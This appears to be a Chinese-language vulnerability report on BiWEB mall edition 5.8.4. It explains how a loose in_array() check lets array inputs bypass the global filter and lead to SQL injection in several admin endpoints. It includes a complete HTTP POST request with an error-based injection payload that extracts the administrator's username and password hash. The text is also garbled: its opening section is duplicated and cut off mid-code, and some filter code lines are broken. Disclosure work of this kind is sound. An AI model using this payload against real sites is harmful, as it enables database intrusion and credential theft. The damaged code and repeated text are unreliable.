### 简要描述: BiWEB最新商城版注入漏洞打包(in_array使用不当造成注入) ### 详细说明: 在wooyun上看到了有人提了BiWEB商城版的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。 BiWEB在全局过滤时使用了in_array(),使用不当,造成全局过滤可以绕过。 先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php中 ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 然后我们去看看filtrateData(),在/web_common5.8/check.class.php中 ``` /** * filtrateData($ParamValue) * 作 用:递归去除所有值两边的空白 * @authorArthur <ArthurXF@gmail.com> * @param$ParamValue (需要过滤空白的数据) * @paramarray$arrHtml (不需要过滤的数据key组成的数组) * @return去除空白之后的数据 * 备 注:无 */ static function filtrateData(&$ParamValue,$arrHtml){ if (is_array($ParamValue)){ foreach ($ParamValue as $key=>$value){ if(is_array($value)){ check::filtrateData($value,$arrHtml); }else{ if(v === 'v' || v === '' ||...
### 简要描述: BiWEB最新商城版注入漏洞打包(in_array使用不当造成注入) ### 详细说明: 在wooyun上看到了有人提了BiWEB商城版的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。 BiWEB在全局过滤时使用了in_array(),使用不当,造成全局过滤可以绕过。 先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php中 ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 然后我们去看看filtrateData(),在/web_common5.8/check.class.php中 ``` /** * filtrateData($ParamValue) * 作 用:递归去除所有值两边的空白 * @authorArthur <ArthurXF@gmail.com> * @param$ParamValue (需要过滤空白的数据) * @paramarray$arrHtml (不需要过滤的数据key组成的数组) * @return去除空白之后的数据 * 备 注:无 */ static function filtrateData(&$ParamValue,$arrHtml){ if (is_array($ParamValue)){ foreach ($ParamValue as $key=>$value){ if(is_array($value)){ check::filtrateData($value,$arrHtml); }else{ if(v === 'v' || v === '' || strpos(p,v)) exit; if($key === 'v') { echo v;exit; } if(count($arrHtml)){ if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value); else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES); }else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES); } } }else{ $ParamValue = trim($ParamValue); } } ``` 可以看到,filtrateData()中有这么一句:if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value),其中$arrHtml即为$arrGPdoDB['htmlspecialchars'] = array('intro','summary','tag'),也就是说当$key是'intro','summary','tag'中的之一时,就不进行htmlspecialchars编码,也就可以绕过全局过滤了。问题在这里,如果$key等于0时,in_array($key,$arrHtml)将返回ture,也就不进行编码! 通过POST提交一个数组,而数组的key是0,1,2...,如通过POST提交一个名为test的数组,test[]=injection_code&test[]=2,这样就可以利用上面代码中in_array()使用不当造成的注入了。 BiWEB这种漏洞有不少,这里一起打包提交吧 ``` /ads/adminu/index.php /brand/adminu/index.php /client/adminu/index.php /deal/adminu/index.php /download/adminu/index.php /grace/adminu/index.php /largess/adminu/index.php /news/adminu/index.php /product/adminu/index.php ``` 这里以/news/adminu/index.php为例进行证明 ``` 无关代码 if(isset($_GET['action'])){ if($_GET['action']=='search') { // 构造搜索条件和翻页参数 $arrLink[] = 'action=search'; if (!empty($_GET['title'])) { $strKeywords = strval(urldecode($_GET['title'])); if($strKeywords[0] == '/'){ //精确查询ID $strKeywords = substr($strKeywords,1); if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'"; }else{ $arrWhere[] = "tag LIKE '%" . $_GET['title'] . "%'"; } $arrLink[] = 'title=' . $_GET['title']; } if ($_GET['pass'] == '1' || $_GET['pass'] == '0') { $arrWhere[] = "pass='".$_GET['pass']."'"; $arrLink[] = 'pass=' . $_GET['pass']; } if (!empty($_GET['type_id'])) { $intTypeID = intval($_GET['type_id']); $arrWhere[] = "type_id='".$intTypeID."' or type_roue_id like '%:$intTypeID:%'"; $arrLink[] = 'type_id='.$intTypeID; } } else { $objWebInit->doInfoAction($_GET['action'],$_POST['select']); } } 无关代码 ``` 当$_GET['action']为'moveup'时,则执行这条语句$objWebInit->doInfoAction($_GET['action'],$_POST['select']),我们再去看看doInfoAction(), 在/web_common5.8/php_common.php中 ``` /** * 执行信息操作 * @author肖飞 * @paramstring$strAction 执行命令 * @paramarray$arrData选中的操作数据id数组 * @paramarray$arrFile需要删除的文件 * @return void */ function doInfoAction($strAction=null,$arrData=null,$arrFile=array('photo')){ switch ($strAction){ case 'del': foreach ($arrData as $key=>$val){ $this->deleteInfo($val,$arrFile); } break; case 'delpic': foreach ($arrData as $key=>$val){ $this->deleteInfoPic($val,$arrFile); } break; case 'moveup': foreach ($arrData as $key=>$val){ $this->moveupInfo($val); } break; case 'check': foreach ($arrData as $key=>$val){ $this->passInfo($val,1); } break; case 'uncheck': foreach ($arrData as $key=>$val){ $this->passInfo($val,0); } break; case 'settop': foreach ($arrData as $key=>$val){ $this->topInfo($val,1); } break; case 'unsettop': foreach ($arrData as $key=>$val){ $this->topInfo($val,0); } break; case 'setrecommend': foreach ($arrData as $key=>$val){ $this->recommendInfo($val,1); } break; case 'unsetrecommend': foreach ($arrData as $key=>$val){ $this->recommendInfo($val,0); } break; } return true; } ``` 再去看看相同文件中的topInfo ``` /** * 固顶/解固信息 * @author肖飞 * @paramint $intInfoID 信息id * @return void */ function topInfo($intInfoID,$topflag){ $arrData['topflag'] = $topflag; $strWhere = " WHERE `id` = $intInfoID"; return $this->updateDataG($this->tablename2,$arrData,$strWhere); } ``` 可以看到传入的值直接作为id带入了SQL语句,造成了注入。(这里只是拿这个例子来说明in_array()使用不当可以引入单引号,当然这个注入点可以直接用数字型的注入方法注入,可不使用单引号) 单引号这样引入 [<img src="https://images.seebug.org/upload/201411/27234256605a7374c57711d53c5065b0e76f6ae9.jpg" alt="单引号引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/27234256605a7374c57711d53c5065b0e76f6ae9.jpg) 成功注入,Payload如下 ``` POST /news/adminu/index.php?action=settop HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* Accept-Language: zh-CN User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0) Accept-Encoding: gzip, deflate If-Modified-Since: Thu, 27 Nov 2014 15:24:12 GMT Host: 192.168.0.107 Proxy-Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 212 Cookie: AJSTAT_ok_times=1; PHPSESSID=af8v3b4bc156qj3v42f9fvs943 select%5B%5D=1 or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&select%5B%5D= ``` 注入成功,管理员的用户名和密码 [<img src="https://images.seebug.org/upload/201411/2723433731d51cc549a1e087eb87ebda09156ee6.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/2723433731d51cc549a1e087eb87ebda09156ee6.jpg) ### 漏洞证明: 见 详细说明